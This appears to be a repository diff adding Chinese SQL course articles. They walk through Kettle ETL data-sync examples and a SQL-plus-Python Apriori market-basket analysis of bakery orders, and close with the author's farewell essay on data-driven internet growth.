首先我们在MySQL中创建好test1和test2两个数据库,在test1中存储了我们之前已有的heros数据表(包括表结构和表数据),然后在test2数据库中,同样保存一个heros数据表,注意test2数据库中只需要有heros表结构即可。数据同步是需要我们使用Kettle工具来完成的。
|
||||
|
||||
你可以[点击这里](https://github.com/cystanford/SQL-Kettle/blob/master/heros.sql)下载heros数据表结构及数据。
|
||||
|
||||
下面我们来使用Kettle来完成这个工作,只需要3步即可。
|
||||
|
||||
**第一步,创建表输入组件,并对test1数据库中的heros数据表进行查询。**
|
||||
|
||||
在Kettle左侧的面板中找到“核心对象”,输入“表输入”找到表输入组件,然后拖拽到中间的工作区。
|
||||
|
||||
双击表输入,选择Wizard来对数据库连接进行配置。这里我们可以创建一个数据库连接test1,然后选择MySQL。然后输入我们的服务器主机地址以及数据库名称,最后输入MySQL的用户名和密码完成数据库连接的创建工作。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/92/44/92b0c458667f6c3db6a7c49409a25844.png" alt=""><br>
|
||||
创建好连接之后,我们来对heros数据表进行查询,输入SQL语句:SELECT * FROM heros,你也可以通过获取SQL查询语句的功能自动选择想要查询的字段。
|
||||
|
||||
然后点击确定完成表输入组件的创建。
|
||||
|
||||
**第二步,创建插入/更新组件,配置test2数据库中的heros数据表的更新字段。**
|
||||
|
||||
如果我们想要对目标表进行插入或者更新,这里需要使用“插入/更新”组件。我们在Kettle左侧的面板中找到这个组件,然后将它拖拽到中间的工作区。
|
||||
|
||||
在配置“插入/更新”组件之前,我们先创建一个从“表输入”到“插入/更新”的连接,这里可以将鼠标移动到“表输入”控件上,然后按住Shift键用鼠标从“表输入”拉一个箭头到“插入更新”。这样我们就可以在“插入/更新”组件中看到表输入的数据了。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/23/af/2392155c3e0a5aa8cafb872e5ab14eaf.png" alt=""><br>
|
||||
然后我们对“插入/更新”组件进行配置,双击该组件,这里同样需要先创建数据库连接test2,来完成对数据库test2的连接,原理与创建数据库连接test1一样。
|
||||
|
||||
接着,我们选择目标表,这里点击浏览按钮,在test2连接中找到我们的数据表heros选中并确定。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e9/eb/e97761f5be696453a897f88803723beb.png" alt=""><br>
|
||||
然后我们可以在下面指定查询关键字,这里指定表字段为id,比较符为(=),数据流里的字段1为id,这样我们就可以通过id来进行查询关联。
|
||||
|
||||
然后对于目的表中缺失的数据,我们需要对相应的字段进行更新(插入),这里可以直接通过“获取和更新字段”来完成全部更新字段的自动获取。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c6/f7/c669c77dbd993e5d10c0ba96a5f288f7.png" alt=""><br>
|
||||
然后点击“确定”完成“插入/更新”组件的创建。
|
||||
|
||||
**第三步,点击启动,开始执行转换。**
|
||||
|
||||
这时Kettle就会自动根据数据流中的组件顺序来完成相应的转换,我们可以在MySQL中的test2数据库中看到更新的heros数据表。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/73/d4/7362b4c7c51026d99ce089c92889edd4.png" alt=""><br>
|
||||
我将转换保存为test1.ktr 上传到了[GitHub](https://github.com/cystanford/SQL-Kettle)上,你可以下载一下。
|
||||
|
||||
## 实例2:导入用户交易流水
|
||||
|
||||
刚才我们完成了一个简单的Kettle使用实例,现在我们来做一个稍微复杂一些的数据转换。
|
||||
|
||||
首先准备数据库。在数据库创建account和trade两张表。其中account表为客户表,字段含义如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/cb/ca/cb64830c0f832242f4f3ed3420a791ca.png" alt=""><br>
|
||||
trade表为客户交易表,字段含义如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f1/68/f11cdfc9e83d124c9a07555f76862268.png" alt=""><br>
|
||||
你可以[点击这里](https://github.com/cystanford/SQL-Kettle)下载account和trade数据表结构及数据下载。
|
||||
|
||||
现在我们希望将客户的交易流水导入到txt文件中,输出内容包括4个字段account_id1、account_id2、amount和value。其中value为新增的字段,表示转账的类型,当转账对象account_id2为个人账户,则输出“对私客户发生的交易”,为公司账户时则输出“对公客户发生的交易”。
|
||||
|
||||
实际上我们在模拟从多个数据源中导出我们想要的数据,针对这个例子,我们想要输出的数据内容为打款账户,收款账户,转账金额,以及交易类型。
|
||||
|
||||
下面我们来看下如何使用Kettle来完成这个工作。
|
||||
|
||||
**第一步,创建表输入组件,并对数据库中的trade数据表进行查询。**
|
||||
|
||||
这里我们创建数据库连接,然后在SQL查询中输入:SELECT * FROM trade,相当于对trade进行全量获取。
|
||||
|
||||
**第二步,创建数据库查询,对account表进行查询。**
|
||||
|
||||
在Kettle左侧面板找到“数据库查询”控件,拖拽到中间的工作区,命名为“account表查询”,然后将“表输入”控件和“account表查询”之间进行连接。这样我们就可以得到“表输入”控件中的数据流。
|
||||
|
||||
然后我们对“account表查询”控件进行配置,这里我们需要连接上account数据表,然后对account数据表中的account_id与trade数据表中的account_id2进行关联,查询返回值设置为customer_type。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/45/2c/4574b9897615b7d67b19c0f415f1992c.png" alt=""><br>
|
||||
这样我们可以通过account数据表得到trade.account_id2所对应的customer_type。也就是收款账户的账户类型(个人/公司)。
|
||||
|
||||
**第三步,创建过滤记录,对不同的customer_type进行类型修改。**
|
||||
|
||||
我们需要根据收款账户的类型,来进行交易类型的判断,因此这里我们可以根据前面得到的customer_type来进行记录的过滤。
|
||||
|
||||
这里在Kettle左侧的面板选择“过滤记录”,拖拽到中间的工作区,然后创建从“account表查询”到“过滤记录”的连接。
|
||||
|
||||
在“过滤记录”中,我们设置判断条件为customer_type = 1。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a5/47/a5682bae98f0adb29507efc4d68ebd47.png" alt=""><br>
|
||||
然后在从Kettle左侧面板中拖拽两个“JavaScript代码”控件到工作区,分别将步骤名称设置为“对公类型修改”和“对私类型修改”
|
||||
|
||||
然后在对应的Script脚本处,设置变量customer_type_cn。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/ef/cc/ef78804fa6698712cdb286f028a2f6cc.png" alt="">
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d2/61/d2f6be25c63aceb1aea9f04dc94eb361.png" alt=""><br>
|
||||
然后我们在Kettle左侧面板拖拽两个“增加常量”控件,到中间的工作区,分别命名为“增加对公常量”和“增加对私常量”。然后将刚才的设置的两个“Javascript代码”控件与“增加常量”控件进行连接。
|
||||
|
||||
在增加常量控件中,我们可以设置输出的常量:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/bd/1a/bd820ef009d740854034771d69d0211a.png" alt="">
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b5/3a/b5c69f9cf550c02a43bce694f056443a.png" alt=""><br>
|
||||
这样我们就可以把得到的常量在后面结果中进行输出。
|
||||
|
||||
**第四步,创建文本文件输出,将数据表导入到文件中。**
|
||||
|
||||
刚才我们已经设置了从trade数据表中进行查询,然后通过account表关联查询得到customer_type,然后再根据customer_type来判断输出的常量,是对公客户发生的交易,还是对私客户发生的交易。这里如果我们想要导入到一个文本文件中,可以从Kettle左侧面板中拖拽相应的控件到中间的工作区。然后将刚才设置的两个控件“增加对公常量”和“增加对私常量”设置连接到“文本文件输出”控件中。
|
||||
|
||||
然后在“文本文件输出”控件中,找到字段选项,设置我们想要导入的字段,你可以通过“获取字段”来帮你辅助完成这个操作。这里我们选择了account_id1、account_id2、amount以及刚才配置的常量value。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b9/8b/b91d81cba3663ed5d5a7049da3cb6e8b.png" alt=""><br>
|
||||
然后我们点击确定就完成了所有配置工作,如下图所示。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/1f/b5/1ffac59cd97629aaf8734a45dad3f8b5.png" alt=""><br>
|
||||
当我们开启转换后,整个数据流就会从表输入开始自动完成转换和判断操作。将其导入到我们的文本文件中,导出的结果如下:
|
||||
|
||||
```
|
||||
account_id1;account_id2;amout;value
|
||||
322202020312335;622202020312337;200.0;对私客户发生的交易
|
||||
322202020312335;322202020312336;100.0;对公客户发生的交易
|
||||
622202020312336;322202020312337;300.0;对公客户发生的交易
|
||||
622202020312337;322202020312335;400.0;对公客户发生的交易
|
||||
|
||||
```
|
||||
|
||||
我将上述过程的转换保存为test2.ktr 上传到了[GitHub](https://github.com/cystanford/SQL-Kettle)上,你可以下载看一下。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们讲解了数据集成的作用,以及ETL的原理。在实际工作中,因为数据源可能是不同的DBMS,因此我们往往会使用第三方工具来帮我们完成数据集成的工作,Kettle作为免费开源的工作,在ETL工作中被经常使用到。它支持多种RDBMS和非关系型数据库,比如MySQL、Oracle、SQLServer、DB2、PostgreSQL、MongoDB等。不仅如此,Kettle易于配置和使用,通过可视化界面我们可以设置好想要进行转换的数据源,并且还可以通过JOB作业进行定时,这样就可以按照每周每日等频率进行数据集成。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/4b/c4/4b004a7fa2adea85131654e7766937c4.png" alt=""><br>
|
||||
通过今天的两个Kettle实例,相信你对Kettle使用有一定的了解,你之前都用过哪些ETL工具,不妨说说你的经历?
|
||||
|
||||
第二个实例中,我们将交易类型分成了“对公客户发生的交易”以及“对私客户发生的交易”。如果我们的需求是分成4种交易类型,包括“公对公交易”、“公对私交易”、“私对公交易”以及“私对私交易”,那么该如何使用Kettle完成这个转换呢?
|
||||
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
|
||||
|
||||
121
极客时间专栏/geek/SQL必知必会/第四章:SQL项目实战/47丨如何利用SQL对零售数据进行分析?.md
Normal file
121
极客时间专栏/geek/SQL必知必会/第四章:SQL项目实战/47丨如何利用SQL对零售数据进行分析?.md
Normal file
@@ -0,0 +1,121 @@
|
||||
<audio id="audio" title="47丨如何利用SQL对零售数据进行分析?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/4a/f5/4a89ff436f212733f9a69beeaa8e0ef5.mp3"></audio>
|
||||
|
||||
我们通过OLTP系统实时捕捉到了用户的数据,还需要在OLAP系统中对它们进行分析。之前我们讲解了如何对数据进行清洗,以及如何对分散在不同地方的数据进行集成,今天我们来看下如何使用SQL分析这些数据。
|
||||
|
||||
关于这部分内容,今天我们一起来学习下:
|
||||
|
||||
1. 使用SQL进行数据分析都有哪几种姿势?
|
||||
1. 如何通过关联规则挖掘零售数据中的频繁项集?
|
||||
1. 如何使用SQL+Python完成零售数据的关联分析?
|
||||
|
||||
## 使用SQL进行数据分析的5种姿势
|
||||
|
||||
在DBMS中,有些数据库管理系统很好地集成了BI工具,可以方便我们对收集的数据进行商业分析。
|
||||
|
||||
SQL Server提供了BI分析工具,我们可以通过使用SQL Server中的Analysis Services完成数据挖掘任务。SQL Server内置了多种数据挖掘算法,比如常用的EM、K-Means聚类算法、决策树、朴素贝叶斯和逻辑回归等分类算法,以及神经网络等模型。我们还可以对这些算法模型进行可视化效果呈现,帮我们优化和评估算法模型的好坏。
|
||||
|
||||
PostgreSQL是免费开源的对象-关系数据库(ORDBMS),它的稳定性非常强,功能强大,在OLTP和OLAP系统上表现都非常出色。同时在机器学习上,配合Madlib项目可以让PostgreSQL如虎添翼。Madlib包括了多种机器学习算法,比如分类、聚类、文本分析、回归分析、关联规则挖掘和验证分析等功能。这样我们可以通过使用SQL,在PostgreSQL中使用各种机器学习算法模型,帮我们进行数据挖掘和分析。
|
||||
|
||||
2018年Google将机器学习(Machine Learning)工具集成到了BigQuery中,发布了BigQuery ML,这样开发者就可以在大型的结构化或半结构化的数据集上构建和使用机器学习模型。通过BigQuery控制台,开发者可以像使用SQL语句一样来完成机器学习模型的训练和预测。
|
||||
|
||||
SQLFlow是蚂蚁金服于2019年开源的机器学习工具,我们通过使用SQL就可以完成机器学习算法的调用,你可以将SQLFlow理解为机器学习的翻译器。我们在SELECT之后加上TRAIN从句就可以完成机器学习模型的训练,在SELECT语句之后加上PREDICT就可以使用模型来进行预测。这些算法模型既包括了传统的机器学习模型,也包括了基于Tensorflow、PyTorch等框架的深度学习模型。
|
||||
|
||||
从下图中你也能看出SQLFlow的使用过程,首先我们可以通过Jupyter notebook来完成SQL语句的交互。SQLFlow支持了多种SQL引擎,包括MySQL、Oracle、Hive、SparkSQL和Flink等,这样我们就可以通过SQL语句从这些DBMS中抽取数据,然后选择想要进行的机器学习算法(包括传统机器学习和深度学习模型)进行训练和预测。不过这个工具刚刚上线,工具、文档、社区还有很多需要完善的地方。<br>
|
||||
<img src="https://static001.geekbang.org/resource/image/e5/fd/e50038152a1b4e7a9940919be9634dfd.jpg" alt=""><br>
|
||||
最后一个方法是SQL+Python,也是我们今天要讲解的内容。刚才介绍的工具可以说既是SQL查询数据的入口,也是数据分析、机器学习的入口。不过这些模块耦合度高,也可能存在使用的问题。一方面工具会很大,比如在安装SQLFlow的时候,采用Docker方式(下图为使用Docker安装sqlflow的过程)进行安装,整体需要下载的文件会超过2G。同时,在进行机器学习算法调参、优化的时候也存在灵活度差的情况。因此最直接的方式,还是将SQL与机器学习模块分开,采用SQL读取数据,然后通过Python来进行机器学习的处理。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/38/c8/38864b57d8d65728439b730d57d841c8.png" alt="">
|
||||
|
||||
## 案例:挖掘零售数据中的频繁项集与关联规则
|
||||
|
||||
刚才我们讲解了如何通过SQL来完成数据分析(机器学习)的5种姿势,下面我们还需要通过一个案例来进行具体的讲解。
|
||||
|
||||
我们要分析的是购物篮问题,采用的技术为关联分析。它可以帮我们在大量的数据集中找到商品之间的关联关系,从而挖掘出经常被人们购买的商品组合,一个经典的例子就是“啤酒和尿布”的例子。
|
||||
|
||||
今天我们的数据集来自于一个面包店的21293笔订单,字段包括了Date(日期)、Time(时间)、Transaction(交易ID)以及Item(商品名称)。其中交易ID的范围是[1,9684],在这中间也有一些交易ID是空缺的,同一笔交易中存在商品重复的情况。除此以外,有些交易是没有商品的,也就是对应的Item为NONE。具体的数据集你可以从[GitHub](https://github.com/cystanford/SQLApriori)上下载。
|
||||
|
||||
我们采用的关联分析算法是Apriori算法,它帮我们查找频繁项集,首先我们需要先明白什么是频繁项集。
|
||||
|
||||
频繁项集就是支持度大于等于最小支持度阈值的项集,小于这个最小值支持度的项目就是非频繁项集,而大于等于最小支持度的项集就是频繁项集。支持度是个百分比,指的是某个商品组合出现的次数与总次数之间的比例。支持度越高,代表这个组合出现的频率越大。
|
||||
|
||||
我们来看个例子理解一下,下面是5笔用户的订单,以及每笔订单购买的商品:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/58/38/58d7791f7b1fe08f810e9e630b03bf38.png" alt=""><br>
|
||||
在这个例子中,“牛奶”出现了4次,那么这5笔订单中“牛奶”的支持度就是4/5=0.8。同样“牛奶+面包”出现了3次,那么这5笔订单中“牛奶+面包”的支持度就是3/5=0.6。
|
||||
|
||||
同时,我们还需要理解一个概念叫做“置信度”,它表示的是当你购买了商品A,会有多大的概率购买商品B,在这个例子中,置信度(牛奶→啤酒)=2/4=0.5,代表如果你购买了牛奶,会有50%的概率会购买啤酒;置信度(啤酒→牛奶)=2/3=0.67,代表如果你购买了啤酒,有67%的概率会购买牛奶。
|
||||
|
||||
所以说置信度是个条件概念,指的是在A发生的情况下,B发生的概率是多少。
|
||||
|
||||
我们在计算关联关系的时候,往往需要规定最小支持度和最小置信度,这样才可以寻找大于等于最小支持度的频繁项集,以及在频繁项集的基础上,大于等于最小置信度的关联规则。
|
||||
|
||||
## 使用SQL+Python完成零售数据的关联分析
|
||||
|
||||
针对上面的零售数据关联分析的案例,我们可以使用工具自带的关联规则进行分析,比如使用SQL Server Analysis Services的多维数据分析,或者是在Madlib、BigQuery ML、SQLFlow工具中都可以找到相应的关联规则,通过写SQL的方式就可以完成关联规则的调用。
|
||||
|
||||
除此以外,我们还可以直接使用SQL完成数据的查询,然后通过Python的机器学习工具包完成关联分析。下面我们通过之前讲解的SQLAlchemy来完成SQL查询,使用efficient_apriori工具包的Apriori算法。整个工程一共包括3个部分。
|
||||
|
||||
第一个部分为数据加载,首先我们通过sql.create_engine创建SQL连接,然后从bread_basket数据表中读取全部的数据加载到data中。这里需要配置你的MySQL账户名和密码
|
||||
|
||||
第二步为数据预处理,因为数据中存在无效的数据,比如item为NONE的情况,同时Item的大小写格式不统一,因此我们需要先将Item字段都转换为小写的形式,然后去掉Item字段中数值为none的项。在数据预处理中,我们还需要得到一个transactions数组,里面包括了每笔订单的信息,其中每笔订单是以集合的形式进行存储的,这样相同的订单中item就不存在重复的情况,同时也可以使用Apriori工具包直接进行计算。
|
||||
|
||||
最后一步,使用Apriori工具包进行关联分析,这里我们设定了参数min_support=0.02,min_confidence=0.5,也就是最小支持度为0.02,最小置信度为0.5。根据条件找出transactions中的频繁项集itemsets和关联规则rules。
|
||||
|
||||
具体的代码如下:
|
||||
|
||||
```
|
||||
from efficient_apriori import apriori
|
||||
import sqlalchemy as sql
|
||||
import pandas as pd
|
||||
# 数据加载
|
||||
engine = sql.create_engine('mysql+mysqlconnector://root:passwd@localhost/wucai')
|
||||
query = 'SELECT * FROM bread_basket'
|
||||
data = pd.read_sql_query(query, engine)
|
||||
# 统一小写
|
||||
data['Item'] = data['Item'].str.lower()
|
||||
# 去掉none项
|
||||
data = data.drop(data[data.Item == 'none'].index)
|
||||
|
||||
# 得到一维数组orders_series,并且将Transaction作为index, value为Item取值
|
||||
orders_series = data.set_index('Transaction')['Item']
|
||||
# 将数据集进行格式转换
|
||||
transactions = []
|
||||
temp_index = 0
|
||||
for i, v in orders_series.items():
|
||||
if i != temp_index:
|
||||
temp_set = set()
|
||||
temp_index = i
|
||||
temp_set.add(v)
|
||||
transactions.append(temp_set)
|
||||
else:
|
||||
temp_set.add(v)
|
||||
# 挖掘频繁项集和频繁规则
|
||||
itemsets, rules = apriori(transactions, min_support=0.02, min_confidence=0.5)
|
||||
print('频繁项集:', itemsets)
|
||||
print('关联规则:', rules)
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
频繁项集: {1: {('alfajores',): 344, ('bread',): 3096, ('brownie',): 379, ('cake',): 983, ('coffee',): 4528, ('cookies',): 515, ('farm house',): 371, ('hot chocolate',): 552, ('juice',): 365, ('medialuna',): 585, ('muffin',): 364, ('pastry',): 815, ('sandwich',): 680, ('scandinavian',): 275, ('scone',): 327, ('soup',): 326, ('tea',): 1350, ('toast',): 318, ('truffles',): 192}, 2: {('bread', 'cake'): 221, ('bread', 'coffee'): 852, ('bread', 'pastry'): 276, ('bread', 'tea'): 266, ('cake', 'coffee'): 518, ('cake', 'tea'): 225, ('coffee', 'cookies'): 267, ('coffee', 'hot chocolate'): 280, ('coffee', 'juice'): 195, ('coffee', 'medialuna'): 333, ('coffee', 'pastry'): 450, ('coffee', 'sandwich'): 362, ('coffee', 'tea'): 472, ('coffee', 'toast'): 224}}
|
||||
关联规则: [{cake} -> {coffee}, {cookies} -> {coffee}, {hot chocolate} -> {coffee}, {juice} -> {coffee}, {medialuna} -> {coffee}, {pastry} -> {coffee}, {sandwich} -> {coffee}, {toast} -> {coffee}]
|
||||
|
||||
```
|
||||
|
||||
从结果中你能看到购物篮组合中,商品个数为1的频繁项集有19种,分别为面包、蛋糕、咖啡等。商品个数为2的频繁项集有14种,包括(面包,蛋糕),(面包,咖啡)等。其中关联规则有8种,包括了购买蛋糕的人也会购买咖啡,购买曲奇的同时也会购买咖啡等。
|
||||
|
||||
## 总结
|
||||
|
||||
通过SQL完成机器学习往往还是需要使用到Python,因为数据分析是Python的擅长。通过今天的学习你应该能体会到采用SQL工具作为数据查询和分析的入口是一种数据全栈的思路,对于开发人员来说降低了数据分析的技术门槛。
|
||||
|
||||
如果你想要对机器学习或者数据分析算法有更深入的理解,也可以参考我的《数据分析实战45讲》专栏,相信在当今的数据时代,我们的业务增长会越来越依靠于SQL引擎+AI引擎。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/88/63/886fc87f717463557457ef8e23218b63.png" alt=""><br>
|
||||
我在文章中举了一个购物篮分析的例子,如下图所示,其中(牛奶、面包、尿布)的支持度是多少呢?
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a1/e6/a1767ae691f2c18d02f8009a687ba1e6.png" alt=""><br>
|
||||
欢迎你在评论区写下你的思考,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
|
||||
|
||||
53
极客时间专栏/geek/SQL必知必会/结束语/结束语 | 互联网的下半场是数据驱动的时代.md
Normal file
53
极客时间专栏/geek/SQL必知必会/结束语/结束语 | 互联网的下半场是数据驱动的时代.md
Normal file
@@ -0,0 +1,53 @@
|
||||
<audio id="audio" title="结束语 | 互联网的下半场是数据驱动的时代" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/1e/0c/1e498a2a6a3d1d85738e255b270a940c.mp3"></audio>
|
||||
|
||||
你好,我是陈旸。
|
||||
|
||||
看到结束语的时候,就意味着SQL专栏已经结束了。我希望这个专栏可以帮你打开数据的大门,从而通过数据发现更多的宝藏。
|
||||
|
||||
互联网已经进入到下半场是不争的事实。我们每天不是想着下载某个新的APP,而是选择卸载掉哪个不经常用的APP。对于互联网新业务来说,我们处于一个流量稀缺的时代,用户不再野蛮增长。这也是为什么很多互联网企业转向修炼内功,开始注重内部效率的提升。而数据则是这项内功最核心的部分,向内寻找答案,通过数据的力量驱动增长。
|
||||
|
||||
回想一下,互联网上半场的打法可以说是营销和资本驱动。几年前我们动不动就搞个活动,送几个iPhone手机就可以换取免费流量。我走访过一些大型的互联网企业,它们对于用户数据的重视程度远不如今天,甚至是很多数据都没有及时存储下来,这样就意味着,他们想要使用之前的数据做精细化运营,就无从下手。真是非常可惜。
|
||||
|
||||
而互联网的下半场是数据和技术在驱动。当用户不再“便宜”的时候,我们开始重视用户数据的完善,开始重视如何通过数据来挖掘同一个用户更多的价值。实际上,在这个层面上,我看到了更多数据技术的机会,很明显这几年招聘的岗位中,数据相关的工作受到越来越多的重视。如何有效地存储,管理和使用这些数据是企业提升内部效率中的重要环节。
|
||||
|
||||
对于和数据打交道的技术人员来说,这是非常好的时代,那该如何构建我们的数据知识体系呢?
|
||||
|
||||
## 越基础的内容,越重要
|
||||
|
||||
就像我在专栏开篇讲到的一样,SQL是一门半衰期很长的语言,经历过长时间的考验,不仅现在在程序语言排行榜名列前茅,未来也依然是主流的语言。
|
||||
|
||||
SQL的通用性也会越来越强,不光是技术人员,很多产品经理,运营人员都在学习SQL。我的一个初中同学,现在在今日头条负责消费金融业务的运营,他们整个部门的人都在学习使用SQL,而她是金融专业背景,之前并没有写过代码。同样,我们还看到一些最新的AI技术也开始在SQL工具中进行集成,比如最后一篇文章中我们介绍的那些工具。
|
||||
|
||||
实际上相比于各种AI技术来说,SQL语言很少有大的变化。这是因为越基础的内容,大的改动频率就会越少,半衰期越长。同时作为整个应用的基石,发挥的作用也会越大。而越上层的应用,虽然离用户离场景更近,但是变化更新的频率也会越快,更加多样性。比如在AI技术中,我们会存在传统机器学习,深度学习和自动机器学习,同样在深度学习中,也存在着多种神经网络,比如CNN(卷积神经网络),RNN(循环神经网络),DBN(深度信念网络),GAN(生成对抗网络),DRL(深度强化学习)等。即便是一种神经网络,比如CNN,也存在着不同的网络结构(Le-Net、VGG、GoogleNet、ResNet、DenseNet等)。这些技术更新频率非常快,你可能刚掌握了一个网络结构,又有新的网络结构推出来。而SQL语言,45年中并没有大的变化,现在学习和使用的技能,在未来依然可以发挥作用。
|
||||
|
||||
同时,越基础的内容,使用频率也会越高。实际工作中,很多时候我们并不需要太多“先进”的技术,对于大多数的数据分析需求来说,一些SQL查询就可以帮我们做很多统计的工作。
|
||||
|
||||
## 将SQL作为入口,构建你的DT大厦
|
||||
|
||||
实际上,SQL已经成为我们获取数据的入口,这也意味着通过SQL可能会衍生出一个完整的DT生态,各种个性化的数据分析工具将集成在SQL中,未来你可以像使用SQL语言一样来使用这些机器学习、数据分析的工具。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/5c/d2/5c5e5554a920d0d8dc28e19de98f38d2.jpg" alt=""><br>
|
||||
DT时代,SQL是数据的入口,是构建我们整个数据大厦的基石,在此基础上你可以使用现有的各种算法,也可以改进算法对数据进行分析。最后是进行可视化报表的呈现,对于老板们来说这是他们更关心的部分,因为他们更关注结果,而中间分析的过程依靠于各种数据分析算法,底层的数据来源自DBMS,可以通过SQL来进行获取。
|
||||
|
||||
## 每天积累一点,做重要不紧急的事
|
||||
|
||||
DT(Data Technology)全栈在互联网的下半场会发挥越来越重要的作用,如果你未来想从事数据相关的工作,那么SQL是这个DT大厦中非常重要且使用频率很高的基石。在此基础上,我们还可以掌握各种数据分析的能力,以及数据可视化的能力。
|
||||
|
||||
如果我们把事情按照重要程度和紧急程度,划分成4个象限的话,我希望能在重要不紧急这个象限上,你可以每天积累一点点。
|
||||
|
||||
在重要&紧急这个象限上的事情,会让你压力无限大,无法做长远的学习积累。比如明天马上要交一个工作汇报,程序Bug马上需要fix掉然后上线等。
|
||||
|
||||
重要&不紧急这个象限上的事情能让你做更长远的计划,像是做投资一样播下一棵种子,在未来会有新的收获。
|
||||
|
||||
不重要&紧急,会让我们忙碌且盲目。不重要&不紧急,让我们浪费生命时间。
|
||||
|
||||
这两个象限的事情,做与不做其实区别不大。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/8d/89/8d46e94b7a91c833166ed6ec2449ef89.jpg" alt=""><br>
|
||||
你可以把技术的学习过程当成是一个重要不紧急的过程,虽然不是你明天马上要完成的工作,但它们却是你未来工作中非常重要的工具。
|
||||
|
||||
虽然SQL专栏结束了,但我希望这个专栏能开启你的数据学习之旅。不论你是从事DBA的工作,还是后端开发,数据算法工作,还是产品,运营岗位,SQL都将是你未来工作中需要掌握的重要技能,在数据全栈这条道路上,每天积累一点点,终究可以搭建出来属于你的DT全栈之路。
|
||||
|
||||
最后文章结尾处有一份调查问卷,希望你可以抽出两三分钟填写一下。我想认真倾听你对这个专栏的意见或者建议,期待你的反馈!
|
||||
|
||||
[<img src="https://static001.geekbang.org/resource/image/9b/55/9b4057e800f2d3c7651ccb0f8d315f55.jpg" alt="">](https://jinshuju.net/f/us79Xh)
|
||||
Reference in New Issue
Block a user